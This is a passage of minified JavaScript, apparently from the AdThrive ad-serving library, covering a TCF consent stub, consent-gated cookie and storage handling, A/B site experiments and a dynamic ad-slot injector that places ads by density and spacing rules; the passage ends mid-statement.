1932  `)},B=(e,t)=>e.some(e=>{let n=M(e);return n.valid?n.element!==null:(t==null||t(e,n.error),!1)}),Ye=e=>/^[-_a-zA-Z]+[-_a-zA-Z0-9]*$/.test(e),Xe=(e,t,n)=>{let r=e=>e?!!(e.classList.contains(`adthrive-ad`)||e.id.includes(`_${n}_`)):!1;switch(t){case`beforebegin`:return r(e.previousElementSibling);case`afterend`:return r(e.nextElementSibling);case`afterbegin`:return r(e.firstElementChild);case`beforeend`:return r(e.lastElementChild);default:return!1}};var V=class e extends l{constructor(e=[],t,n=Math.random){super(),this._choices=e,this._default=t,this._random=n}static fromArray(t,n){return new e(t.map(([e,t])=>({choice:e,weight:t})),n)}addChoice(e,t){this._choices.push({choice:e,weight:t})}get(){let e=this._random()*100,t=0;for(let{choice:n,weight:r}of this._choices)if(t+=r,t>=e)return n;return this._default}get totalWeight(){return this._choices.reduce((e,{weight:t})=>e+t,0)}};let H={AdDensity:`addensity`,AdLayout:`adlayout`,FooterCloseButton:`footerclose`,Interstitial:`interstitial`,RemoveVideoTitleWrapper:`removevideotitlewrapper`,StickyOutstream:`stickyoutstream`,StickyOutstreamOnStickyPlayer:`sospp`,VideoAdvancePlaylistRelatedPlayer:`videoadvanceplaylistrp`,MobileStickyPlayerPosition:`mspp`};var Ze=class{constructor(){s(this,`name`,void 0),s(this,`disable`,void 0),s(this,`gdprPurposes`,void 0)}};let U=`__adthriveTcfApiStub`,W=`__tcfapiLocator`,G=[],K=!1,q,J=e=>typeof e==`function`&&!!e[U],Qe=(e,t=2)=>{let n=G.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(G.splice(n,1),!0)},$e=()=>{let e=()=>{if(document.querySelector(`iframe[name="${W}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=W,document.body.appendChild(t)};e()},Y=()=>{let e=window.__tcfapi;return typeof e==`function`&&!J(e)?e:void 0},X=()=>{let e=Y();if(e)for(;G.length>0;){let t=G.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},et=()=>{if(K)return;if(K=!0,Y()){X();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!J(t)&&X()}})},tt=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return G;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:q,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(q=r,typeof n==`function`&&n(`set`,!0));return;default:G.push([e,t,n,r])}};return Object.defineProperty(e,U,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},nt=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},rt=()=>
1932{if(et(),Y())return!1;let e=!1;return J(window.__tcfapi)||(window.__tcfapi=tt(),nt(),e=!0),$e(),window.__tcfapiQueue=G,e},it=(e,t=2,n,r)=>{if(e===void 0)return;let i=Y();i?i(e,t,n,r):(G.push([e,t,n,r]),rt())},at=(e,t=2,n,r)=>{it(e,t,n,r)},ot=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,Qe(a,2),n(Error(`TCF API request timed out`)))},e)),at(`getTCData`,2,a)}),st=[`mcmpfreqrec`],Z=new class extends Ze{constructor(...e){super(...e),s(this,`name`,`BrowserStorage`),s(this,`disable`,!1),s(this,`gdprPurposes`,[1]),s(this,`_sessionStorageHandlerQueue`,[]),s(this,`_localStorageHandlerQueue`,[]),s(this,`_cookieHandlerQueue`,[]),s(this,`_gdpr`,void 0),s(this,`_shouldQueue`,!1),s(this,`_storageConsentGranted`,void 0),s(this,`_storageConsentUpdateInFlight`,0),s(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await ot();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}
1932deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
1932; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!st.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},ct=e=>{let t=5381,n=e.length;for(;n;)t=t*33^e.charCodeAt(--n);return t>>>0},lt=e=>ct(e).toString(16),ut=e=>{if(e===null)return null;let t=e.map(({choice:e})=>e);return lt(JSON.stringify(t))},dt=(e,t)=>{var n;return((n=e.find(({choice:e})=>e===t))==null?void 0:n.weight)??null},ft=e=>e!=null&&!(typeof e==`number`&&isNaN(e)),pt=(e,t)=>{if(Z.isInGdprQueueMode())return t();let n=ut(e._choices),r=((e._expConfigABGroup?e._expConfigABGroup:e.abgroup)||e.key||``).toLowerCase(),i=n?`${r}_${n}`:r,a=e.localStoragePrefix?`${e.localStoragePrefix}-${i}`:i,o=Z.readInternalLocalStorage(`adthrive_branch`);(o&&o.enabled)===!1&&Z.deleteLocalStorage(a);let s=t(),c=dt(e._choices,s),[l,u]=Z.getOrSetABGroupLocalStorageValue(a,s,c,{value:24,unit:`hours`});return e._stickyResult=l,e._stickyWeight=u,l},mt=(e=window.location.search)=>{let t=+(e.indexOf(`?`)===0);return e.slice(t).split(`&`).reduce((e,t)=>{let[n,r]=t.split(`=`);return e.set(n,r),e},new Map)},ht=e=>{let t={},n=mt().get(e);if(n)try{let r=decodeURIComponent(n).replace(/\+/g,``);t=JSON.parse(r),F.event(`ExperimentOverridesUtil`,`getExperimentOverrides`,e,t)}catch(e){e instanceof URIError}return t},gt=(e,t)=>typeof e==typeof t,_t=(e,t)=>{let n=e.adDensityEnabled,r=e.adDensityLayout.pageOverrides.find(e=>!!document.querySelector(e.pageSelector)&&(e[t].onePerViewport||typeof e[t].adDensity==`number`));return n?!r:!0},vt=e=>{var t;let n=(t=e.videoPlayers)==null||(t=t.partners)==null||(t=t.stickyOutstream)==null?void 0:t.blockedPageSelectors;return n?!document.querySelector(n):!0},yt=e=>{let t=e.adOptions.interstitialBlockedPageSelectors;return t?!document.querySelector(t):!0},bt=(e,t,n)=>{switch(t){case H.AdDensity:return _t(e,n);case H.StickyOutstream:return vt(e);case H.Interstitial:return yt(e);default:return!0}},xt=e=>e.length===1,St=e=>{let t=e.reduce((e,t)=>t.weight?t.weight+e:e,0);return e.length>0&&e.every(e=>{let t=e.value,n=e.weight;return!!(t!=null&&!(typeof t==`number`&&isNaN(t))&&n)})&&t===100},Ct=(e,t)=>{if(!e)return!1;let n=!!e.enabled,r=e.dateStart==null||Date.now()>=e.dateStart,i=e.dateEnd==null||Date.now()<=e.dateEnd,a=e.selector===null||e.selector!==``&&!!document.querySelector(e.selector),o=e.platform===`mobile`&&t===`mobile`,s=e.platform===`desktop`&&t===`desktop`,c=e.platform===null||e.platform===`all`||o||s,l=e.experimentType===`bernoulliTrial`?xt(e.variants):St(e.variants);return l||F.error(`SiteTest`,`validateSiteExperiment`,`experiment presented invalid choices for key:`,e.key,e.variants),n&&r&&i&&a&&c&&l};var wt=class{constructor(e){var t;s(this,`siteExperiments`,[]),s(this,`_clsOptions`,void 0),s(this,`_device`,void 0),this._clsOptions=e,this._device=D()?`mobile`:`desktop`,this.siteExperiments=((t=this._clsOptions.siteAds.siteExperiments)==null?void 0:t.filter(e=>{let t=e.key,n=Ct(e,this._device),r=bt(this._clsOptions.siteAds,t,this._device);return n&&r}))??[]}getSiteExperimentByKey(e){let t=this.siteExperiments.filter(t=>t.key.toLowerCase()===e.toLowerCase())[0],n=ht(`at_site_features`),r=gt(t!=null&&t.variants[1]?t==null?void 0:t.variants[1].value:t==null?void 0:t.variants[0].value,n[e]);return t&&n[e]&&r&&(t.variants=[{displayName:`test`,value:n[e],weight:100,id:0}]),t}},Tt=class{constructor(){s(this,`experimentConfig`,void 0)}get enabled(){return this.experimentConfig!==void 0}_isValidResult(e,t=()=>!0){return t()&&ft(e)}},Et=class extends Tt{constructor(...e){super(...e),s(this,`_resultValidator`,()=>!0)}_isValidResult(e){return super._isValidResult(e,()=>this._resultValidator(e)||e===`control`)}run(){if(!this.enabled)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;if(!this._mappedChoices||this._mappedChoices.length===0)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment variants found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)}}
1932,Dt=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,``),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`string`),s(this,`key`,H.AdLayout),s(this,`abgroup`,H.AdLayout),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to empty class name.`),``;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to empty class name.`),``)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:t}))}},Ot=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,`control`),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`number`),s(this,`key`,H.AdDensity),s(this,`abgroup`,H.AdDensity),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:typeof t==`number`?(t||0)/100:`control`}))}},kt=class{constructor(){s(this,`_clsOptions`,new c),s(this,`shouldUseCoreExperimentsConfig`,!1)}setExperimentKey(e=!1){this._clsOptions.setExperiment(this.abgroup,this.result,e)}},At=class extends kt{constructor(){super(),s(this,`key`,`SMRA`),s(this,`abgroup`,`smra1`),s(this,`_result`,!1),D()&&(this._result=this.run(),this.setExperimentKey())}run(){return new u(.05).get()}get result(){return this._result}};let Q=`250px`;var jt=class{constructor(t,n){this._clsOptions=t,this._adInjectionMap=n,s(this,`_recipeCount`,0),s(this,`_mainContentHeight`,0),s(this,`_mainContentDiv`,null),s(this,`_totalAvailableElements`,[]),s(this,`_densityElementCoords`,void 0),s(this,`_minDivHeight`,250),s(this,`_densityDevice`,I.Desktop),s(this,`_pubLog`,{onePerViewport:!1,targetDensity:0,targetDensityUnits:0,combinedMax:0}),s(this,`_smallerIncrementAttempts`,0),s(this,`_absoluteMinimumSpacingByDevice`,250),s(this,`_usedAbsoluteMinimum`,!1),s(this,`_infPageEndOffset`,0),s(this,`locationMaxLazySequence`,new Map([[e.Recipe,5]])),s(this,`locationToMinHeight`,{Below_Post:Q,Content:Q,Recipe:Q,Sidebar:Q}),s(this,`_device`,void 0),s(this,`_smallMobileRecipeAdsExperimentEnabled`,void 0),s(this,`_clsTargetAdDensitySiteExperiment`,void 0);let{tablet:r,desktop:i}=this._clsOptions.siteAds.breakpoints;this._device=Ie(r,i),this._smallMobileRecipeAdsExperimentEnabled=new At().result,this._isSmallMobileRecipeAdLocation(e.Recipe)&&(this.locationToMinHeight.Recipe=`100px`),this._clsTargetAdDensitySiteExperiment=this._clsOptions.siteAds.siteExperiments?new Ot(this._clsOptions):null}start(){try{var e;De(this._device);let n=new Dt(this._clsOptions);if(n.enabled){let e=n.result,t=e.startsWith(`.`)?e.substring(1):e;if(Ye(t))try{document.body.classList.add(t)}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,`Uncaught CSS Class error: ${e}`)}else F.error(`ClsDynamicAdsInjector`,`start`,`Invalid class name: ${t}`)}let r=Ce(this._device,this._clsOptions.siteAds).filter(e=>this._locationEnabled(e)).filter(e=>Te(e,this._device)).filter(e=>Ee(e)),i=this.inject(r),a=this._clsOptions.siteAds.adOptions.stickyContainerConfig;if(!(a==null||(e=a.content)==null)&&e.enabled&&!B(a.blockedSelectors||[],this._logInvalidBlockedSelector.bind(this))){var t;qe(a==null||(t=a.content)==null?void 0:t.minHeight)}
1932i.forEach(e=>this._clsOptions.setInjectedSlots(e))}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,e)}}inject(t,n=document){this._densityElementCoords=void 0,this._densityDevice=this._device===`desktop`?I.Desktop:I.Mobile,this._overrideDefaultAdDensitySettingsWithSiteExperiment();let r=this._clsOptions.siteAds,i=k(r.adDensityEnabled,!0),a=r.adDensityLayout&&i,o=t.filter(t=>a?t.location!==e.Content:t),s=t.filter(t=>a?t.location===e.Content:null),c=s.length?this._preserveDensityMeasurements(s,n):!1;return this._capturePreSlotInsertionPageAreaMeasurement(),[...o.length?this._injectNonDensitySlots(o,n):[],...s.length?this._injectDensitySlots(s,n,c):[]]}_injectNonDensitySlots(t,n=document){var r;let i=[],a=[],o=!1;if(t.some(t=>t.location===e.Recipe&&t.sticky)&&!B(((r=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:r.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))){var s,c;let t=this._clsOptions.siteAds.adOptions.stickyContainerConfig;Je(this._isSmallMobileRecipeAdLocation(e.Recipe)?100:this._device===`phone`?t==null||(s=t.recipeMobile)==null?void 0:s.minHeight:t==null||(c=t.recipeDesktop)==null?void 0:c.minHeight),o=!0}for(let e of t)this._insertNonDensityAds(e,i,a,n);return o||a.forEach(({location:e,element:t})=>{t.style.minHeight=this.locationToMinHeight[e]}),i}_isSmallMobileRecipeAdLocation(e){return this._smallMobileRecipeAdsExperimentEnabled&&A(e,this._device)}_injectDensitySlots(e,t=document,n=!1){try{n||(this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords())}catch{return[]}let{onePerViewport:r,targetAll:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=this._getDensitySettings(e,t);return this._absoluteMinimumSpacingByDevice=r?window.innerHeight:this._absoluteMinimumSpacingByDevice,s?(this._adInjectionMap.filterUsed(),this._findElementsForAds(s,r,i,o,a,t),this._insertAds()):[]}_preserveDensityMeasurements(e,t=document){try{return this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords(),!0}catch{return!1}}_overrideDefaultAdDensitySettingsWithSiteExperiment(){var e;if((e=this._clsTargetAdDensitySiteExperiment)!=null&&e.enabled){let e=this._clsTargetAdDensitySiteExperiment.result;typeof e==`number`&&(this._clsOptions.siteAds.adDensityEnabled=!0,this._clsOptions.siteAds.adDensityLayout[this._densityDevice].adDensity=e)}}_getDensitySettings(e,t=document){let{onePerViewport:n,targetAll:r,targetDensity:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=Ne({settings:this._clsOptions.siteAds.adDensityLayout,densityDevice:this._densityDevice,dynamicAds:e,target:t,totalAvailableElements:this._totalAvailableElements.length,mainContentHeight:this._mainContentHeight,minDivHeight:this._minDivHeight,recipeCount:this._recipeCount,selectorContext:this._getDynamicAdSelectorContext.bind(this),onInvalidSelector:({selector:e,selectorType:t,source:n,context:r,error:i})=>{}});return this._pubLog={onePerViewport:n,targetDensity:i,targetDensityUnits:a,combinedMax:o},{onePerViewport:n,targetAll:r,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}}_elementLargerThanMainContent(e){return e.offsetHeight>=this._mainContentHeight&&this._totalAvailableElements.length>1}_elementDisplayNone(e){let t=window.getComputedStyle(e,null).display;return t&&t===`none`||e.style.display===`none`}_isBelowMaxes(e,t){return this._adInjectionMap.map.length<e&&this._adInjectionMap.map.length<t}_findElementsForAds(e,t,n,r,i,a=document){this._clsOptions.targetDensityLog={onePerViewport:t,combinedMax:r,targetDensityUnits:i,targetDensityPercentage:this._pubLog.targetDensity,mainContentHeight:this._mainContentHeight,recipeCount:this._recipeCount,numberOfEls:this._totalAvailableElements.length};let o=t=>{for(let{dynamicAd:o,element:s}of this._totalAvailableElements)if(this._logDensityInfo(s,o.elementSelector,t),!(!n&&this._elementLargerThanMainContent(s)||this._elementDisplayNone(s)))if(this._isBelowMaxes(r,i)){if(this._checkElementSpacing({dynamicAd:o,element:s,insertEvery:t,targetAll:n,target:a}),this._hasReachedQuota(e))return}else break;this._hasReachedQuota(e)||!this._usedAbsoluteMinimum&&this._smallerIncrementAttempts<5&&(++this._smallerIncrementAttempts,o(this._getSmallerIncrement(t)))};o(this._getInsertEvery(e,t,i))}_hasReachedQuota(e){return this._adInjectionMap.map.length>=e}_getSmallerIncrement(e){let t=Fe(e,this._absoluteMinimumSpacingByDevice);return this._usedAbsoluteMinimum=t.usedAbsoluteMinimum,t.insertEvery}
1932_insertNonDensityAds(t,n,r,i=document){let{spacing:a,nextAfter:o}=Me(t.spacing,window.innerHeight),s=0,c=this._repeatDynamicAds(t),l=this.getElements(t.elementSelector,i,t),u=this._shouldUseRegularSlotHeightForSpacing(t),d=a>0&&u?this._getElementSpacingBottoms(l):new Map,f=0;t.skip;for(let p=t.skip;p<l.length&&!(s+1>c.length);p+=t.every){let m=l[p];if(a>0){let e=u?(d.get(m)??R(m).bottom)+f:R(m).bottom;if(e<=o)continue;o=e+a}let h=c[s],g=`${h.location}_${h.sequence}`;n.some(e=>e.name===g)&&(s+=1);let _=this.getDynamicElementId(h),v=L(t),y=Oe(t),b=t.location===e.Sidebar&&t.sticky?Ke(h.sequence):``,ee=[t.location===e.Recipe&&t.sticky?`adthrive-recipe-sticky-container`:``,v,y,...t.classNames];if(Xe(m,t.position,t.location)&&t.location===e.Recipe)continue;let x=this.addAd(m,_,t.position,ee,b);if(x){let a=we(h,x);if(a.length){let o={clsDynamicAd:t,dynamicAd:h,element:x,sizes:a,name:g,infinite:i!==document};n.push(o),r.push({location:h.location,element:x}),t.location===e.Recipe&&++this._recipeCount,s+=1,u&&(f+=this._getRegularSlotSpacingHeight(h.location))}m=b&&x.parentElement||x}}}_shouldUseRegularSlotHeightForSpacing(t){var n;return t.location===e.Recipe&&t.sticky&&!B(((n=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:n.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))}_getElementSpacingBottoms(e){return Array.from(e).reduce((e,t)=>(e.set(t,R(t).bottom),e),new Map)}_getRegularSlotSpacingHeight(e){let t=parseInt(this.locationToMinHeight[e],10);return Number.isFinite(t)?t:this._minDivHeight}_insertAds(){let e=[],t=0;return this._adInjectionMap.filterUsed(),this._adInjectionMap.map.forEach(({el:n,dynamicAd:r,target:i},a)=>{let o=Number(r.sequence)+a,s=r.max,c=r.lazy&&o>s;r.sequence=o,r.lazy=c;let l=this._addContentAd(n,r,i);l&&(r.used=!0,e.push(l),++t)}),e}_getInsertEvery(e,t,n){let r=Pe({totalAvailableElements:this._totalAvailableElements.length,targetDensityUnits:n,numberOfUnits:e,mainContentHeight:this._mainContentHeight,absoluteMinimumSpacing:this._absoluteMinimumSpacingByDevice,viewportHeight:window.innerHeight,onePerViewport:t});return 